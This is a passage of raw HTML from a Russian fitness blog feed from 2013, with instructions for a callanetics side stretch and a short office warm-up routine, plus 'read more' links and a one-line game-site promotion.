href="/uprazhnenija-dlja-detej.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong></span></p> <p><br /><code>Я играю в <a href="http://blogowar.ru" rel="e35ef0e7994e3cdb18791168d296bc52">Blogowar.ru</a>, чего и вам советую.</code></p> 2013-07-15 537972 Калланетик комплекс упражнений. http:/fortunaa.okis.ru/news/536932 <p class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; line-height: normal;"><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">Упражнение растягивает косые мышцы живота,</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">мышцы спины и верхнего плечевого пояса.</span></p> <p><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">Исходное положение:</span><strong><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> <br /> </span></strong><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">станьте прямо, ноги на ширине</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">плеч,<a title="Качаем руки." href="/ruki.html"><span style="color: blue;"> руки </span></a>на поясе, голову держите прямо, взгляд</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">направлен вперед.</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">Техника выполнения:</span><strong><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span></strong><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">слегка согните колени, поднимите</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">вверх правую руку и потянитесь как можно</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">выше, не поднимая при этом вверх плечо, левую руку</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">опустите на бедро, подтяните ягодицы, подайте таз вперед</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">и вверх, вытяните правую руку еще больше и выполните</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">медленный наклон в сторону, продолжая тянуть руку. Расслабьте шею и верхний плечевой</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">пояс и мягко, с амплитудой меньше одного сантиметра,</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">делайте наклоны в сторону. Чтобы вернуться в исходное</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">положение, переведите правую руку в положение</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">перед собой, согните колени, наклонитесь вперед и, не сгибая руку, выполните движение рукой и</span><span style="font-size: 12.0pt; font-family: 'Times New Roman','serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;"><br /> </span><span style="font-size: 12.0pt; font-family: 'Arial','sans-serif'; mso-fareast-font-family: 'Times New Roman'; mso-fareast-language: RU;">туловищем в левую сторону. </span></p> <p><span style="font-size: small;"><strong><a title="Калланетик комплекс упражнений." href="/kallanetik-kompleks-uprazhnenij.html">Читать дальше&gt;&gt;&gt;&gt;</a></strong></span></p> 2013-07-11 536932 Гимнастика - разминка в офисе. http:/fortunaa.okis.ru/news/535408 <ol> <li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;"><span style="font-size: small;">Повороты. Эти <span style="font-family: arial black,avant garde;">гимнастические</span> упражнения выполняются для <strong>разминки</strong> мышц&nbsp; поясницы, талии и &nbsp;мышц живота. Для выполнения разминки нужно отодвинуться от стола, вытянуть ноги и поставить их на пятки. Держите спину прямо и выполняйте повороты в разные стороны.</span></li> <li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;"><span style="font-size: small;"><strong>Гимнастическа</strong> для<strong> разминки</strong> плеч. Необходимо десять раз без перерыва выполнить подъемы плеч, а также круговые движения назад и вперед. Так вы разгоните кровь в верхней части тела и снизите усталость спины.</span></li> <li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;"><span style="font-size: small;">Полезны также <strong>гимнастические</strong> упражнения на растягивания. Для этого нужно завести одну руку, согнутую в локте, за спину сверху, а второй рукой давить на локоть на протяжении 10-15 секунд. Затем руки нужно поменять. С помощью этого упражнения вы сможете снять напряжение, а также тонизировать мышцы плеч и предплечий.</span></li> <li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l0 level1 lfo1; tab-stops: list 36.0pt;"><span style="font-size: small;"><a title="Гимнастика - разминка в офисе." href="/gimnastika-razminka-v-ofise.html">Читать дальше&gt;&gt;&gt;&gt;</a><br /></span></li> </ol> 2013-07-07 535408